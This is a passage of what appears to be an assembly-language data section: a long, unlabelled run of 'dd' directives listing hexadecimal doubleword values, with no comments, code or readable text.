0E2BA3B82h, 41C250BFh, 0D2443F1Ah dd 0FC341161h, 0C0B65FC3h, 0C82BDF0Bh, 8C0043F9h, 1A27FFBDh dd 863C00E5h, 5DCF7112h, 2909112Bh, 1D18B59h, 98E9FA5Dh dd 0A7AEDC2Eh, 40BA3600h, 65D6064h, 0BD031363h, 851BA459h dd 2E9C044Bh, 3A650063h, 0D6B23BAFh, 5616055Ah, 0DAA1DA44h dd 0C661A3Fh, 10BB908Ah, 2C596515h, 1C7F32EBh, 0AF52D413h dd 3E88D589h, 5B060CADh, 52539E9h, 0FF9002BBh, 0C1CAA843h dd 2BF5B531h, 9CA61F1Ch, 40C6B29Fh, 8310B109h, 748B95B2h dd 6F2DDE50h, 20C84CA8h, 719D691Fh, 0E3800553h, 0C9AAA8A7h dd 8D0FB860h, 1B1D6CC5h, 0BDA6D638h, 902C4D0Eh, 481420C7h dd 0E261C142h, 10082BB9h, 8E9180D2h, 4AE4F892h, 3FA4D251h dd 0EBE68813h, 0F89925E0h, 0DE0B552Fh, 0DBF44CF2h, 422F9B24h dd 1222D508h, 0E21C53FCh, 62F26281h, 0E80885BAh, 7CBF5200h dd 0B153A0Bh, 1097B82Ch, 4740F0FCh, 1FC1642h, 0EEEA863h dd 0D2918589h, 91A85F25h, 0E1B501F0h, 0F157D1AAh, 0A6D0A7DBh dd 0D0B95395h, 3601C9B9h, 1D5DE1A4h, 246A5A08h, 0C2E5DBA1h dd 7D9B76FEh, 0AD12300Eh, 0CF81C0BFh, 5A28CE86h, 6B8B8D0Fh dd 771BAE09h, 1DE46717h, 9009F560h, 0A22EDA00h, 972BEBD2h dd 6DBF1666h, 8D8DA2E9h, 0B96F3A7Ch, 2F01B83Ch, 59BFB8F1h dd 81F0FD0Fh, 0FA8BAD4Ch, 0A9BEFD2Eh, 19DF606Fh, 0DC090969h dd 2C9D288h, 2D7D3Fh, 0E1FFF88Ah, 174F04BFh, 0E34439EBh dd 0BCEB714Dh, 8AE65A7Bh, 54AE35D1h, 0C0AADBEEh, 89344936h dd 0EB14B503h, 0D94D4B69h, 3CA5006Dh, 32823AC6h, 31ABC94Ch dd 605F3309h, 0E092A62Ah, 5AD3F7EEh, 53CEA020h, 5B4BF1B2h dd 0AF7ABFh, 1188453h, 8A987362h, 0E2402576h, 0FFAC69h dd 4A0BEC1Ch, 44BAF2BFh, 50A7CE07h, 746558E0h, 8999BC1h dd 1AF9D87Ah, 0DC43D68Ah, 1584AE00h, 43875BD6h, 0FC515B39h dd 9CD1396h, 661F48F7h, 0AD2B53BBh, 8C16AC4Bh, 28602912h dd 0FD73D405h, 90DBB407h, 0D3076AFh, 23D7E7Dh, 0AC35D657h dd 1A61862Bh, 697361h, 53800E8Dh, 8FF74Ah, 4F56DE6Ah, 0DFBB5061h dd 28DB190Bh, 2262990h, 31EB547h, 0A9814F68h, 0E873C1Bh dd 0F2B603B0h, 93DC2BBBh, 17B2DAB6h, 25FA530h, 8529821Dh dd 0D5D403C5h, 745581E9h, 0FD4435E9h, 0ADF142B6h, 0C1616A38h dd 526AD9B7h, 0E84AEDB2h, 0BA9E007Fh, 91A26718h, 5750518Ch dd 4827E1C8h, 0ED74968h, 0B052E72Bh, 515A4F76h, 0D4FAB509h dd 8FDFE9D1h, 774157F1h, 0BD015763h, 694BAB61h, 0C125F4Ch dd 8646059Bh, 4A81A8BAh, 8E83DEDBh, 8A93A5DDh, 82F0EA4Eh dd 987B9D17h, 0B72D3828h, 829A46C2h, 3E207DF4h, 0A0B46368h dd 9C4E24E7h, 4FBFB73Dh, 0D4303C0Bh, 9D31E040h, 67C523C1h dd 7AA148B3h, 2D4D434Ah, 48E086ACh, 3610FE01h, 0D9BF0F6Dh dd 0B86AA92Bh, 655A2DB6h, 0BB812145h, 5E427240h, 54C5283Eh dd 60284FBDh, 0DD60E45Eh, 0A0F65707h, 8170C426h, 25442BC8h dd 7DD11787h, 82BBB080h, 0B90C69h, 0E61DDB45h, 47FA1FB4h dd 5E2E6379h, 0CBBEED61h, 3889C056h, 0A36E0DF5h, 2B5DBEE5h dd 951F19A8h, 0D680025Ah, 312E7C34h, 3252585h, 0E1D03F73h dd 0F88B273Eh, 0AA1AEDE5h, 94E5F74Bh, 0CFA79C9Fh, 57F84018h dd 5B3C91ABh, 0FA2B0998h, 2D2482FBh, 0B4F95D0Eh, 75177942h dd 0CB813F38h, 8A279D72h, 2D3DE61Eh, 0EDFBA7B3h, 0C1191559h dd 60E3F539h, 0B4E5967h, 0D150A382h, 7EC00DEh, 5CA77A6Ch dd 829B1C00h, 9C947189h, 0ABB91DBFh, 8466F4ECh, 24C4EF20h dd 0C848DAAEh, 976BC116h, 0DC303FEDh, 1358D781h, 16014B26h dd 6653BF76h, 814F2AEAh, 8536F8A4h, 0A8E8A26Eh, 0F60800D9h dd 9D23DE43h, 0B99F2191h, 5FF233DFh, 539D7678h, 18145916h dd 94D2B8B2h, 0DBC2A7ECh, 2DC00D4h, 0C75106EBh, 57D7A0Eh dd 60BE1F0Fh, 0F33E036Fh, 0B6E9EA01h, 90EEF2CBh, 4FC3D170h dd 4E6DAD2Dh, 0E92774BBh, 14C9A87Fh, 95395BE0h, 4B205110h dd 92778B8h, 8103E2EEh, 0A0167ED3h, 0F6E3F18h, 0BB040522h dd 1971C545h, 0C96AB29Dh, 0C6F66B4Ch, 0DEF871B4h, 0FBB2C82Eh dd 3ABA9659h, 5D53A7D8h, 93ABD9A0h, 6F00CEFCh, 2B6ECD77h dd 2D5DF2C8h, 3F641F10h, 96CF6400h, 0AC9CBEB5h, 0EC2A5A20h dd 0E7A30241h, 55D25F34h, 0B35BDE01h, 0EED1AD4Eh, 0A2A51F80h dd 0FDC55257h, 8FFDD2F8h, 480495A8h, 5030FCFDh, 68A78DFCh dd 0DE17E1ACh dd 850F67A8h, 89E950E5h, 229477h, 879C1B7h, 0CAF4DA16h dd 4D59009h, 50607578h, 2474BB96h, 0DD393F35h, 1C997BFBh dd 0B8809179h, 0AD82975Ah, 9589387Fh, 347E02AFh, 778D01E2h dd 0C597B550h, 6DE950A3h, 0C5B6FB0Eh, 76052CB4h, 2F314155h dd 0BB0FC3F3h, 49C939A3h, 0D9A595F9h, 8388005Eh, 0C74355E0h dd 31C807Eh, 0E7E7759Dh, 3E1D11A8h, 19D5900Bh, 74F780A0h dd 1AE6E1B5h, 4090F804h, 0DA4AB7D6h, 0ABA4F6FDh, 0F301086Ah dd 65676130h, 63F32A29h, 93D4A62Dh, 0DCD7FC25h, 8B072E09h dd 0A4C159C1h, 77BF033Dh, 0A1E504Fh, 6DADF0E6h, 57F7C010h dd 401A2530h, 404426D9h, 6841071Dh, 60CD0E16h, 15641369h dd 4A58360Ch, 74392CEh, 520616FFh, 53957529h, 9253BFBBh dd 0D200486Fh, 0BBDF9FE8h, 7F2FD34Fh, 1CEF5116h, 0B6350049h dd 94B748CFh, 184A0A01h, 97BC2317h, 0D18D8684h, 505F442Ah dd 769CC9FAh, 0E780E0CCh, 94BD12CBh, 3D13BA38h, 8700316Fh dd 796929C1h, 3913BB20h, 0BEACE17Fh, 9289592Dh, 0E106ED55h dd 2BF5424Bh, 0DBB24F34h, 0C9B02909h, 51E916D4h, 5DDA759h dd 39BD158h, 97EBECD6h, 0A2D24EBCh, 0B15C883Ah, 120535F4h dd 7C68F002h, 61DA2CC7h, 0DAF89524h, 0BA16E5Ah, 7340991Dh dd 181459D8h, 0BD8912D7h, 8803A4B9h, 480D9C95h, 9B5B834Dh dd 7EEBC34Fh, 77419783h, 2B70E7F9h, 8376233h, 0A5601268h dd 0E4830A25h, 717EC9AFh, 1956EA03h, 12B5555Ah, 0BFEBA600h dd 5C86416Dh, 56376F8Dh, 0EE24C482h, 848EDDB4h, 99DF8B20h dd 94FB8074h, 55AF742Eh, 0D2296801h, 0AC2D3B60h, 958A1220h dd 945DE462h, 0E05687FFh, 4EB5A675h, 51FFD709h, 0B25298BEh dd 83F7029Eh, 0D59DB01h, 81C02456h, 139F71EFh, 0AFF8225Dh dd 1989049Ah, 112A3430h, 9BAF1A00h, 6AA0B3D7h, 0CDCBA0FFh dd 12ABB130h, 86FEAC81h, 0F80D34FDh, 76E5B7E1h, 4662FA91h dd 0B00426C5h, 1E299A91h, 3070E601h, 5104C5FBh, 47B371E4h dd 0DA221CADh, 0D1C78102h, 244F8A12h, 0D0E4BB29h, 6BDB2D80h dd 0F8A019FFh, 0BF73C16Fh, 0EB81E0FFh, 62E59525h, 60F9F61Eh dd 0A06FA101h, 38331938h, 54CB06FFh, 33482D47h, 2B4CE2F7h dd 0CB97310h, 0F0806028h, 61F98020h, 84D18B28h, 0FD144132h dd 9509217Ch, 87346839h, 5F144C44h, 8580AACh, 791D2111h dd 0D5BF76C2h, 6C94DF6Dh, 10299D19h, 0B4174D5Fh, 0D8F6A8DEh dd 0B60D9526h, 6D0789B9h, 3211FA51h, 6185310Fh, 0A4C4F8D2h dd 51758E30h, 0BAC50354h, 5E53D47Dh, 0EDBD1AE8h, 0E33C3824h dd 337B6520h, 7E17A125h, 79275073h, 911BD9Dh, 66FF89A5h dd 7209481Eh, 369A2C20h, 8161AC88h, 2E39DF04h, 0E6FE376Bh dd 70E5F04Eh, 5C98952Ah, 8309CF80h, 900FF1B9h, 0B7152DF7h dd 379A3E4h, 0BDD0CB9Fh, 10E0DAB6h, 749255F7h, 3445EE09h dd 2C16510Bh, 0ED25DEB5h, 0ED1F5FFAh, 0D3DCB0A5h, 0A2224B47h dd 6A9E0020h, 2303F887h, 76DA00C8h, 0DFB8A45Fh, 0BD267484h dd 912B357h, 937DDFEFh, 66978071h, 97B5A160h, 880D48C8h dd 0D8927397h, 53259BFBh, 7CAB5537h, 0F47AB17Ch, 0B303126Dh dd 5BF6B544h, 0DD975BA0h, 0E0947424h, 24101108h, 1F59080Eh dd 6B495313h, 474C595Fh, 0EE170E6Dh, 0F702586Fh, 1A0DE5B5h dd 0FF4B8C54h, 0CCA3FEA0h, 0B8E25F56h, 0F5DC7AE1h, 7BEF092Bh dd 0D85E809Ah, 64494D25h, 602F6214h, 801B794Eh, 0B725E1FFh dd 0E3D6523h, 0F613040Ah, 0FF38F0A1h, 3E949508h, 0F620FA45h dd 59799D65h, 2FB186C3h, 310F827h, 96975B1Ch, 12DE9520h dd 1D1700AFh, 0B6605B27h, 6C00DC40h, 43AA2A48h, 9AB4772h dd 3FB72721h, 4FDDCF77h, 0FB7FB843h, 21A2EA9Dh, 0FA32844Ah dd 0D28712DBh, 772EC1BFh, 34482B21h, 94AA62Fh, 0CF57CFA3h dd 0A32E0A9h, 4B0055B8h, 0B4972C7Ah, 8CD98B5Eh, 0E74DE850h dd 50E054BFh, 580093C7h, 263EEC81h, 27891E1Ah, 2F8961BDh dd 29255D74h, 719153B8h, 9276CC5Dh, 0F458B000h, 8BC88370h dd 0B74EC2DAh, 0FD8268DFh, 0F2F8AE2Ah, 806C816Fh, 6051F4ABh dd 158D2E01h, 0B8668134h, 7D613047h, 37DAD7D0h, 0D4DEF880h dd 0E730183Ah, 89FE7CD3h, 600D5D9Dh, 0ACADF95Eh, 569319h dd 5AD24B8Dh, 0DCB0DA39h, 0B02F3120h, 7C954217h, 6CFD014Eh dd 8D5067E8h, 184E11D9h, 0BEB4C4FCh, 3680DADAh, 7A2AB869h dd 0E652F50Ah, 91258D33h, 96C4CA40h, 25B801FAh, 4493D358h dd 6BF76BC1h, 2E7CD669h, 71A46DEh, 0DA8634D0h, 0DF32EEE2h dd 4D755FBAh, 89374098h, 9B09619Ch, 40BBAB91h, 8307A519h dd 14F729F7h, 2E35F01Eh, 9FB7391h, 5ED30446h, 9320270h dd 50AD6849h, 0A1006BF1h, 839791EFh, 3CBF0561h, 0EB70884Eh dd 0E8155CCDh, 0DDF0AAB6h, 5D209D29h, 0FC680206h, 51100AB1h dd 0F855A8CAh, 0B2031F34h, 98F52915h, 77BD5A7Fh, 0F9448B02h dd 567BA8E6h, 0DB80609Fh, 0BF0450CFh, 1FB16777h, 5795DD5Ch dd 6E29EB2Fh, 0DF3F246Dh, 0F6C29980h, 0CCDD5F65h, 2B228602h dd 0FD6128ECh, 57017937h, 0A54B4EE1h, 0B27DF73Bh, 96E03018h dd 0F44E907Eh, 0FBA47CFDh, 76822D9Bh, 0BF803C88h, 189092EBh dd 0EAE93427h, 3013604Ah, 8BF39584h, 8B14115Fh, 90E4F5E6h dd 0F38B6012h, 0A5B9C609h, 6EFB611Eh, 9D1A031Eh, 897F1C60h dd 0F23AF0B8h, 0AB5F12h, 767AB5D2h, 27F0303Fh, 65AEC825h dd 625111A2h, 0DF0249A4h, 3E2DBC9Ch, 246C03h, 0E05C2BF2h dd 0A6DBD8F4h, 6631031Ch, 0D10C2E4h, 358B5F2Fh, 75E24E76h dd 0EB965610h, 99C48E7Eh, 9E4A0FACh, 0C625C145h, 90F8BB31h dd 0E7664F57h, 181913F3h, 2C26D9EEh, 0EF81C041h, 5AD7E12Ah dd 53230111h, 2E5B6160h, 284818ADh, 0E096E64Bh, 9B8C09Ch dd 0BAA35F4Bh, 0E42D25DEh, 80D4008Ah, 0C88E6D9h, 390EE78Eh dd 617A322Dh, 0AC71B135h, 303AAA59h, 0F16D6F87h, 42836203h dd 17328CFAh, 0BF61CA5Ch, 3E059665h, 0B46750B6h, 1EFDBD61h dd 60699D2Fh, 244B0917h, 899269E2h, 62032AA5h, 4A459D31h dd 42D8543h, 0AC8680F0h, 0D781C030h, 4A759D6Dh, 0F90BC446h dd 25BDECB7h, 0EFF96A5Ch, 14236F80h, 7F6E4h, 4A5C3506h dd 178970DAh, 4DB5CCE9h, 1F9C2F4Ah, 31ACC451h, 0F95C9219h dd 0F5A4C4D9h, 9611A62Dh, 245A142Ah, 0B2C0BD50h, 0CA0A14F9h dd 4262D605h, 0A90B96E3h, 64BDDF11h, 68E0592Ch, 7C439DCh dd 236A52B1h, 42BF4061h, 7F2F79E2h, 0D6D57C5Bh, 4CC19794h dd 5B7C6D51h, 67785D82h, 8BA0E5F7h, 0F642C7AAh, 5F4A5058h dd 8A7C38CAh, 2DC8C15Dh, 0DF390905h, 88F9D28h, 6A52093Dh dd 696D77D8h, 2D621B64h, 699C46D5h, 47165823h, 0DB116D2Dh dd 2B6DAD96h, 881676C0h, 9C2F395Ch, 0E1042574h, 7D27FD45h dd 0DE02DD0Ah, 4201EB71h, 637ECBD2h, 0B62B4EB2h, 3016B2DDh dd 0DC7E31B9h, 3773DF05h, 84EB56CAh, 0A9F01669h, 0CCC62DF9h dd 17459DC8h, 0AF484725h, 0A005DB5h, 29F53BC8h, 0BF540085h dd 42EE2B67h, 8995A8E9h, 0C5576D49h, 4831E82Ch, 7E302D67h dd 17FAEA5Ch, 8E16BED8h, 0D3089CBEh, 8E04FCE2h, 505B4917h dd 6E5EA5BFh, 4ACD8D88h, 0C8888F1Ch, 0EFDCC414h, 9509FA31h dd 494AA83Eh, 21AEC071h, 0A1710Ch, 0E885F53Fh, 89A0BF08h dd 0D60AE730h, 89170DC5h, 0BA507FDBh, 0E192012Dh, 51C91A03h dd 0FA66883Fh, 13EEBE88h dd 0FF387FFDh, 0C63E73C9h, 4DBFEF68h, 1F97C53Ah, 0A8189193h dd 0F1008C1Bh, 0D986D5DAh, 5BE54CFCh, 0F004F66Ah, 5B2C5AB7h dd 0ADF70977h, 9874762Bh, 71D46D6h, 9CEFB695h, 0F530E222h dd 0C68DC541h, 0D854FBDFh, 0E420B90Dh, 0D126448Bh, 0EBB795h dd 9133D8DCh, 66096293h, 59150FBFh, 5361447Dh, 49917F17h dd 0DC5B026Ah, 0DE4CC7h, 0AB2746B0h, 3FC2415Eh, 0BF900034h dd 19FC1E36h, 8356503Bh, 142591Fh, 498DF55Fh, 997EC06Eh dd 10166F11h, 22EA3291h, 0AFFEBD0Fh, 558D09C1h, 0E916EE68h dd 0E28BECB4h, 8954ACFh, 0D72DE3ACh, 5A805337h, 783F6E59h dd 0BFD8248Bh, 432709BCh, 31AE7259h, 1DB52960h, 288CB311h dd 0FA8A25AFh, 16C4376Dh, 54B0DE60h, 0A287DA99h, 0A630FAE0h dd 4A07D1A4h, 0A933C47Bh, 10AF86Ah, 0CEDF62F5h, 7B1AE488h dd 72D57C2h, 7CD5289h, 847453F5h, 0F1A29BDh, 8B60A06Ah dd 0BC200995h, 33D88CBh, 3CB9FC27h, 0F604262Eh, 9E09CB09h dd 1BC2579Ch, 72CB5D54h, 0E8DB9D8Ch, 44C95C2Dh, 8830ABB0h dd 0C327AEh, 76D0E4CEh, 7E233955h, 0F0DD8B2Dh, 0E65F13E9h dd 2ADCA070h, 0F71E480h, 0A9C38056h, 51B509E1h, 9A327F1Eh dd 0FCB325D9h, 0F4E78796h, 1813C312h, 0E51667BBh, 64095974h dd 786877F8h, 2BF9FFD3h, 2DB26313h, 24427D01h, 802B1E02h dd 67EBCF54h, 68B5E28h, 0E992B7D1h, 9C9D2D9Bh, 1D643E01h dd 2E4E5A00h, 83A5230Eh, 56C3EF02h, 0E0E09D9Ah, 2F4C503Eh dd 95D94755h, 7D1CBE04h, 0AF2965FFh, 0A9BD9990h, 93F9B514h dd 11719D84h, 231BC864h, 7EFDA1FCh, 0B4D112ECh, 0D66094Fh dd 77F7BB5Dh, 811F4062h, 80FDF704h, 8DAC1952h, 66822288h dd 0FE0341BBh, 0B29DE689h, 6F83FABAh, 4B57012h, 18857DB2h dd 0AB7ABF89h, 0D249EC00h, 0AACDEC0h, 172D66C4h, 0EE007689h dd 95E177CBh, 9D0405F3h, 0E9442F1Dh, 0A028A70Eh, 779F1D2h dd 0D58DF758h, 1CA12A1Fh, 515B2015h, 0DF3DA9FCh, 461D993h dd 0BBA99D06h, 2061B2B2h, 0DADC8AFEh, 2F377Dh, 267F0D88h dd 769515C9h, 0D2F81098h, 95732CF0h, 739536B6h, 9C2550EAh dd 0AE6E3D5Bh, 742C1100h, 26ABD6E5h, 0D4292D2Ah, 3E929F12h dd 2B2C5AB2h, 281A10A9h, 0D99DDB31h, 9E74847h, 0B75D0289h dd 841591F9h, 5FACAEDCh, 0C9DA3FBDh, 806B0F81h, 540A8D6h dd 0B92F2130h, 0BD1345BDh, 0A3D05C53h, 81194AB5h, 2BE2859Dh dd 88587E28h, 3D279D0Bh, 5833DD1Bh, 7B8F2DDFh, 0D1A809B2h dd 0CCA8C828h, 194E8576h, 1EB97E91h, 1055E112h, 26AAFEEh dd 0F035C2FEh, 8785208Ch, 2A82A569h, 89CB6928h, 0A0137E23h dd 0D36938BBh, 6B9E045Eh, 24D7A80h, 1609666Dh, 0FF33D1B8h dd 0FE8A7E98h, 5A779495h, 0EDCDF964h, 0D3A7FC6Bh, 0A12352EAh dd 536E3A58h, 6AA77801h, 24998E26h, 9196D30Dh, 70BA0A12h dd 13396505h, 621B3425h, 0DC445E68h, 0C6BDA778h, 81E0A0BAh dd 0BCD9BD11h, 60163091h, 591109F9h, 597D6862h, 0B2AFBFDFh dd 0B5349A58h, 58A82129h, 5A5BECD6h, 0FB6598E1h, 2286E2Fh dd 0C44A2EF2h, 0ABF2F58Bh, 25202990h, 0EEB3131Fh, 439BFE6Ah dd 903FCE87h, 0DA8A0DF2h, 0FD59683Dh, 17129C4Eh, 16A661A0h dd 0F963DEB3h, 0CC76B8A1h, 52BB21AEh, 40F95F5Ah, 840969ADh dd 0C8C012E6h, 4A3E5DF2h, 0EF71C445h, 0EAA45BF7h, 66649C80h dd 0F7E01BFh, 7E9813Ah, 4D5FC202h, 9025E0C2h, 0BB001366h dd 0E3CEC8C7h, 9DA8B60h, 61E6C980h, 92AF7159h, 0ED9DFA3h dd 62BB5F12h, 752B128Bh, 0C7809F45h, 0D9953ECDh, 0EDC54E21h dd 8C15ACF9h, 66A32025h, 38BB0253h, 891584D8h, 39E082DDh dd 0B96D7731h, 94601BE4h, 6405116Ch, 31B7BB23h, 2F8C8CD0h dd 558995F5h, 0A7925A37h, 315D88BAh, 6AD48D5Ah, 0ABDAC5AAh dd 0E84AB2F2h, 3104DF95h, 92AB38B3h, 51F5FAC6h, 67C00F5Ch dd 0B0D3CA2h, 2696C56h, 57295DF8h, 0B12C9C67h, 0CD1D5013h dd 0CA83AD74h, 8E27620Ah, 66FF6160h, 308B5AD1h, 719F7AC9h dd 4C2A5202h, 4433BADBh, 405F94EEh, 0D8AE0395h, 34B44500h dd 8ED4024Ah, 609A6BDFh, 56A9E190h, 4A67F016h, 7A8926BAh dd 38A3C5B0h, 4F5F7E39h, 7502BB6Eh, 26433ED3h, 0ACD44DA0h dd 0FEFE17B8h, 3148F900h, 2F7172BDh, 250505BFh, 25F3AD6h dd 7569D7FCh, 653CEF7h, 0FD8A90FAh, 7D3CA450h, 0E8B65ADBh dd 2DE421E0h, 3C1C6F0Bh, 13DB5CEFh, 0BC8CFB0Ch, 0B990956h dd 57B39301h, 614E8878h, 2809D76Eh, 7FF05165h, 5D0D9527h dd 3595E9B4h, 607F0F42h, 72F8D2A0h, 8B251FEFh, 66145FD1h dd 6FBD6270h, 487D4B07h, 5FEC3689h, 1060E785h, 0C9482BEDh dd 0E9E5B931h, 0EE84C343h, 0AF006C6Fh, 0CA892D06h, 4917DF13h dd 3E579A93h, 23BEB4F6h, 48502F18h, 81082F03h, 0AA6C93EFh dd 8726B527h, 12450B3Dh, 0C65F29DFh, 8AD84B1Eh, 9FD62217h dd 0CB00C737h, 0EB857680h, 9D4C1214h, 0A5412CB2h, 9DC455DCh dd 0F6BA1F09h, 4ABDE467h, 0D52F4B80h, 6011A339h, 0D0070BE9h dd 26A02E48h, 5C153688h, 0F10CDEBh, 0A0E4724Eh, 0D45D0E40h dd 25CA1273h, 165DE361h, 6BBEF88Bh, 631924A7h, 7D7823C0h dd 253EA1Ah, 0E1F6F781h, 4F5C4456h, 3C7F169h, 1B747AC3h dd 6E639A90h, 7FCD504Ah, 69D6FCh, 0F7E7EC18h, 557B222h dd 0A5EE4112h, 6916BDA2h, 0BC53E923h, 41018C1Ah, 0AA1B6219h dd 0BE82F6CAh, 49179021h, 91A53F5h, 165F2315h, 5ADD9B4Bh dd 0A757F155h, 250979h, 67FCFAD7h, 14C500D6h, 96C448B6h dd 0B2FC31CCh, 0D8ACFFFAh, 9DBD8913h, 0DAAEF9C4h, 0C01DC85Eh dd 55E58D87h, 0C6D6F603h, 104F12ACh, 131585FAh, 48B556F8h dd 0EDA6172Bh, 0FFE8C0B9h, 2DD59978h, 0AD7C4743h, 80D4B3D6h dd 0BF52092Eh, 0C2127987h, 6BA25B30h, 0A2ADF700h, 26E484CFh dd 0AA295007h, 70497440h, 42B725E8h, 9D01E4C0h, 0DB09BD2Dh dd 2D9FA0F7h, 0D3D91455h, 42C04D69h, 0CED737B0h, 0B1895856h dd 365C0E2Dh, 0B7FEB750h, 0B92FD070h, 0B440606Ah, 50612DFAh dd 33926290h, 885CD301h, 9C7A1B52h, 53E812D5h, 4EF67B8Fh dd 0E029A696h, 19BB7D5h, 8B93689Fh, 2EF4FD10h, 0DF128909h dd 814F5016h, 51BDF242h, 5F9CDD04h, 22516144h, 0ECBD11E9h dd 768A00DCh, 0BBE5F38Fh, 1B167861h, 98AA5FC8h, 584A536Fh dd 9E0067B2h, 39A8440Ch, 0C800F5F8h, 695EE56Ch, 0FDE8C5D0h dd 0B963D10h, 41FE644Fh, 8ED2975Fh, 3561C558h, 77893A1Dh dd 70F6120h, 0D1FBC6AFh, 95DAFC2Ch, 71BA035Ah, 4164B765h dd 2A5513CFh, 39A981F9h, 0C64180CFh, 1489F195h, 0B710798Dh dd 3D4A0FA5h, 848BAF92h, 54E40321h, 3EE5D9BEh, 3FEC29E9h dd 0E5EAF701h, 5BFC2ECCh, 0B085B72Bh, 18873D2h, 0A94DAB93h dd 0EEB7DBDEh, 2534E7F7h, 0F3C0247Ch, 5BE975D7h, 3174B04Ah dd 30469578h, 87A8915Dh, 0BAC4EC07h, 9A39DE26h, 5DEC7D5Dh dd 597BD39Dh, 4E51819h, 39A9447h, 25B0B885h, 4B187F07h dd 417DD2F0h, 54E44200h, 0BA5F4C6Eh, 0E3BB02AFh, 0B589E14Fh dd 9D1D85Dh, 30B3905Bh, 9429775Ch, 5AA618B5h, 0D26286E0h dd 0C8272B0h, 0D482DA98h, 727F0E78h, 9CAF39h, 3844C0Dh dd 2FEF014Fh, 0F84D6A71h, 402BFDE3h, 24ABB13Ah, 0F4A5171Dh dd 506D9C0Bh, 18E06116h, 0BCF86407h, 0CF810218h, 0C0BFB851h dd 9D85310Eh, 5F3CD652h dd 2790FC90h, 25EF7EF8h, 0ED5CF6AEh, 495AB1FCh, 0CC7EF229h dd 730D2D89h, 181679D0h, 0E3571F60h, 2DB831B3h, 1CBF0530h dd 8DFB27DEh, 0A2AFE892h, 0FC60B187h, 45A15098h, 0EF9F5F61h dd 314C408Ch, 0AA980B99h, 4DB3134Ah, 3F30778Dh, 0B5F134F6h dd 6A1C6027h, 0D0A1025Ah, 0F905AD8h, 5BDE8A52h, 29B7A5DDh dd 0B74ED501h, 0ED3A71CAh, 0A41AA891h, 120F0253h, 30E94C40h dd 0D5F888E1h, 22E36B87h, 8729B589h, 0DD93A8F0h, 1E56577Ah dd 8A9C2C40h, 0E11A97FEh, 890C0F51h, 10CBAADh, 0B2985D6Ah dd 429004E5h, 0F957509Fh, 8B560425h, 0FE9B84FEh, 0BA4BC3F2h dd 0E3BF4C61h, 0EBDDC07Bh, 0B9723E7h, 0F30EF3CFh, 9E4048FAh dd 8A8009F5h, 31603CF9h, 0EE115992h, 29044792h, 81C959FCh dd 6AD07121h, 709DDBF2h, 0B2006A7Bh, 0B8EF922Fh, 9C967240h dd 9D926CFh, 6D4F050Dh, 89BF9740h, 0B2454A85h, 1A291255h dd 40A14FACh, 6DBD1001h, 9D108628h, 0F832659h, 0FB851487h dd 1F8A1761h, 3504F8h, 0DC571382h, 50AEAB1Eh, 0FA076127h dd 31092385h, 9675EC3Ah, 0F21D4F6Dh, 9D0B1385h, 0BA3D91EDh dd 4CCBB3CBh, 0C4204FCBh, 272D90B2h, 0EE546B63h, 0F704CB48h dd 0C8EE7BB8h, 943F1EAh, 2B5D8E6Bh, 0DA467FEBh, 0FE27C84Ah dd 38D6A0E0h, 0E236005Fh, 0F7BA5731h, 8B2DB1FFh, 436790D1h dd 0DE2C09D3h, 187966E0h, 0F1472E2Eh, 401E2C0h, 0FD4C13F4h dd 88D0BFD8h, 0B85BFA8Bh, 4E4938A7h, 5AE4432h, 0A4ED1D5h dd 19925160h, 3F59A7F5h, 3D8B748Ch, 0BBCB518Dh, 71529623h dd 2B1841E2h, 0E33F69A1h, 48E91A81h, 0B995040Bh, 5E755E82h dd 85016113h, 94DC3FD5h, 8BF882Dh, 5AD4DA17h, 2EF789BAh dd 0A6601462h, 289B1CB3h, 97729589h, 8A9264F9h, 16A70BBh dd 4DB51698h, 360DE3F8h, 0C3C4B8ADh, 980F2F65h, 1210BB2Eh dd 0DA4E1CDh, 0F5625FF3h, 0B6ED3AB7h, 79239093h, 3701186Ah dd 39BEC817h, 0A81473B9h, 0FCE10310h, 77F59529h, 9737973Bh dd 41C95625h, 0DA80FE38h, 2B1681FCh, 66C07F9Bh, 2C8E2309h dd 0E25B5225h, 5FCF5F15h, 85815549h, 2F691B77h, 7866F998h dd 0DF3E4BBEh, 0C01DC83Dh, 0BF13471h, 91C41902h, 7703949Eh dd 6C2DB737h, 0DA500907h, 4079F98Bh, 0E9304D2Fh, 67CA17EAh dd 0DB9F8450h, 995B5A71h, 0C283300h, 9813C2Eh, 2A8864E8h dd 45BACD57h, 38D89818h, 69F3D300h, 119D2953h, 0E1659501h dd 259DD0E9h, 0B04489D0h, 9D75EE02h, 4070E121h, 9530A9EAh dd 0A171957Ch, 0B97B7Bh, 0F470AFA9h, 12E8BFA8h, 0F21D64F2h dd 1EC24A68h, 4A2DFA75h, 0A570AC87h, 2DEB8FBBh, 0D6F57C61h dd 3CF53097h, 0DA6E09BAh, 30EB91Ch, 9FDF0E6Bh, 601B9250h dd 0D447A57Bh, 13DE7D3Ah, 0C20594C7h, 39AA14E9h, 404D938h dd 8A4B2FE8h, 55262D8Fh, 190EDB3Dh, 0AF16A377h, 85BCC4B7h dd 514AC1A3h, 0A44AAB6Eh, 0C909BB03h, 784D5E27h, 0EC78D05Fh dd 2A4A8D27h, 34288F5Ch, 97AB7A97h, 17805F3Dh, 1EBF6634h dd 57A69798h, 27A223EBh, 0C854BB62h, 7FB531E2h, 355D0C29h dd 81179196h, 80C09485h, 6841B0FFh, 900E20B8h, 4E75173h dd 0A6C1EA8h, 0D9B75612h, 0E904CD3Dh, 0D8217890h, 820EFDC4h dd 0E3005B79h, 44F408Bh, 0A9DD01AAh, 6DB9A40Eh, 8AC4805Bh dd 0A32168D8h, 0E2304AEDh, 0AF150013h, 382C5ACh, 43D006Dh dd 71E824A0h, 251CF9A5h, 1F13934Fh, 545FA809h, 0A0DE021Dh dd 48FC30F2h, 0B60112DCh, 0DBEF81B3h, 1D722B56h, 69545EDEh dd 0B0FB9187h, 217CB9D7h, 1E4E910h, 0A9BD2304h, 832DAB29h dd 0DF6A3Fh, 32EBDB5h, 4070AA79h, 215EDD39h, 0B9B447F8h dd 0F26EA972h, 0C9019610h, 2E9FCED0h, 0FD53ED3Ah, 13EBC9E8h dd 12F9A38h, 0FA0115E6h, 0FEB63B41h, 0EA3016B2h, 0BB8E0162h dd 2836C531h, 12E62F89h, 0B58953F0h, 0E5308525h, 3BB5A786h dd 2A2CBF04h, 0BADE12ABh, 995C421h, 1A990815h, 0BF1EABA8h dd 6052555Fh, 0E089B016h, 24E68A2Eh, 22A4BB5Fh, 966C1C04h dd 0A5B865B9h, 10DDBA2Fh, 77699C1h, 94FEE49Ch, 0BDE70A3h dd 